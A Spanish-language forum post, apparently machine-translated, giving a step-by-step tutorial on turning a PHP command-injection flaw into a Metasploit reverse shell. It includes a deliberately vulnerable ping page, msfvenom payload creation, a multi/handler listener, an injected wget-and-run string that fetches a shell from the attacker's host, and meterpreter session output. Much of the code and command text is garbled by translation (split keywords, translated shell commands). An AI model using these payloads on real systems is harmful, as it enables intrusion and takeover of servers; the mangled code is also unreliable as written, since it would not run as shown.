Command-injection-to-shell

Iniciado por ZanGetsu, Abril 01, 2013, 02:09:05 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Introducción

Descripción

En este tutorial, aprenderás cómo tomar el control de un servidor que es vulnerable a una vulnerabilidad de inyección de comandos.
Medio ambiente

El siguiente tutorial ha sido probado en el siguiente entorno:
atacante:
Dirección IP: 192.168.1.43
Distribución: BackTrack 5 R3
objetivo
Dirección IP: 192.168.1.16
Distribución: Debian 6
Ejemplo

Código

Código: php
<html>
<head>
<title> ping host </ title>
</ Head>
<body>
<form method="get" action="">
  <input type="text" /> name="host"
  <input type="submit" value="ping host" />
</ Form>
<? Php
if (isset ($ _GET ['host'])) {
  $ Salida = shell_exec ("ping-c1" $ _GET ['host'].);
  echo "<pre> $ salida </ pre>";
}
?>
</ Body>
</ Html>

El uso normal

En el uso normal, esta aplicación se supone para generar el resultado del comando ping contra un host solicitado:

Vulnerabilidad

Este código es vulnerable, ya que no desinfectar las entradas del usuario. Es posible inyectar otros comandos:

Explotación

Crear shell con msfvenom
Vamos a aprovechar esta vulnerabilidad para descargar un shell inversa PHP. Pero en primer lugar crear el shell con msfvenom :
root @ bt: ~ # msfvenom-p php / meterpreter / reverse_tcp-f lhost prima = 192.168.1.43 lport = 4050> / var / www / shell.txt
root @ bt: ~ # cabeza / var / www / shell.txt
# <? Php

error_reporting (0);
# El controlador de carga sobrescribirá con el lhost correcto antes de enviar
# A la víctima.
$ Ip = '192 .168.1.43 ';
$ Port = 4050;
$ Ipf = AF_INET;

si (== FALSE strpos ($ ip,! ":")) {
Como se puede ver, la primera línea está comentada. Vamos a quitar el comentario:
root @ bt: ~ # sed-i '¡¯ s / # <php / <php /' / var / www / shell.txt
Iniciar servidor web en la máquina del atacante
Aunque sería posible alojar nuestro shell PHP en una tercera parte, es conveniente en nuestro tutorial de ser el anfitrión de la máquina del atacante directamente. Vamos a comenzar nuestro servidor web:
root @ bt: ~ # servicio apache2 inicio
* Inicio del servidor web apache2 [OK]
Comience escuchando en el puerto 4050 de la máquina del atacante
De BT5, abramos nuestro oyente:
root @ bt: ~ # msfconsole
msf> use multi / handler
exploit msf (manejador)> set payload php / meterpreter / reverse_tcp
msf exploit (manejador)> set lhost 192.168.1.43
msf exploit (manejador)> set lport 4050
msf exploit (manejador )> explotar

  • Started inversa controlador en 192.168.1.43:4050
  • A partir del controlador de carga útil ...
    Descarga shell desde el host vulnerable
    Vamos a aprovechar la vulnerabilidad y descargar el shell del servidor web del atacante. Escriba el siguiente comando en el campo "máquina":
    ; No tienes permitido ver los links. Registrarse o Entrar a mi cuenta wget-O / tmp / shell.php; php-f / tmp / shell.php
    El comando anterior descarga shell.txt como shell.php en el directorio / tmp y ejecutar el shell php (php-f / tmp / shell.php)
    Pruebe el shell inversa
    Ahora tenemos un meterpreter:
    ...
  • Envío etapa (38791 bytes) para 192.168.1.16
  • Periodo de sesiones Meterpreter 1 abierto (192.168.1.43:4050 -> 192.168.1.16:40107) en 05/05/2012 21:02:34 -0400

    meterpreter> sysinfo
    Equipo: snort
    OS: Linux snort 2.6.32-5-686 # 1 SMP Lun Ene 16 16:04:25 UTC 2012 i686
    Meterpreter: php / php
    meterpreter> shell
    Proceso 3845 creado.
    Canal creado 0.
    / Sbin / ifconfig
    eth0 Link a encap: Ethernet HWaddr 00:0 c: 29:97:32:0 f 
              inet addr: 192.168.60.129 Bcast: 192.168.60.255 Máscara: 255.255.255.0
              inet6 addr: fe80 :: 20c: 29ff: fe97: 320f/64 Alcance: Enlace
              UP BROADCAST RUNNING MULTICAST MTU: 1500 Métrica: 1
              RX packets: 530 errors: 0 caído: 0 sobrecostos: 0 frame: 0
              TX paquetes: 285 errores: 0 caído: 0 sobrecostos: 0 carrier: 0
              colisiones: 0 txqueuelen: 1000
              RX bytes: 62923 (61.4 KiB) TX bytes: 31150 (30.4 KiB)
              Interrupción: 19 Dirección base: 0x2000

    eth1 Enlace encap: Ethernet HWaddr 00:0 c: 29:97:32:19 
              inet addr: 192.168.1.16 Bcast: 192.168.1.255 Máscara: 255.255.255.0
              inet6 addr: 2a01: e35: 8b15: 3430:20 c: 29ff: fe97: 3219/64 Scope: Global
              inet6 addr: fe80 :: 20c: 29ff: fe97: 3219/64 Alcance: Vínculo
              UP BROADCAST RUNNING MULTICAST MTU: 1500 Métrica: 1
              RX packets: 9694 errors: 0 caído: 0 sobrecostos: 0 frame: 0
              TX paquetes: 3451 errores: 0 caído: 0 sobrecostos: 0 carrier: 0
              colisiones: 0 txqueuelen: 1000
              RX bytes: 2119587 (2,0 MiB) TX bytes: 1297681 (1.2 MiB)
              Interrupción: 16 Dirección base: 0x2080

    lo Link encap: Bucle local 
              inet addr: 127.0.0.1 Máscara: 255.0.0.0
              inet6 ::: 1/128 Alcance: Anfitrión
              ARRIBA LOOPBACK RUNNING MTU: 16436 Metric: 1
              RX packets: 2597 errors: 0 caído: 0 sobrecostos: 0 frame: 0
              TX paquetes: 2597 errores: 0 caído: 0 sobrecostos: 0 carrier: 0
              colisiones: 0 txqueuelen: 0
              RX bytes: 365075 (356.5 KiB) TX bytes: 365075 (356.5 Kb)

    Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

    Observa Mejor el Post Aqui : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Buen aporte, note que el code es apueba de lammers! XD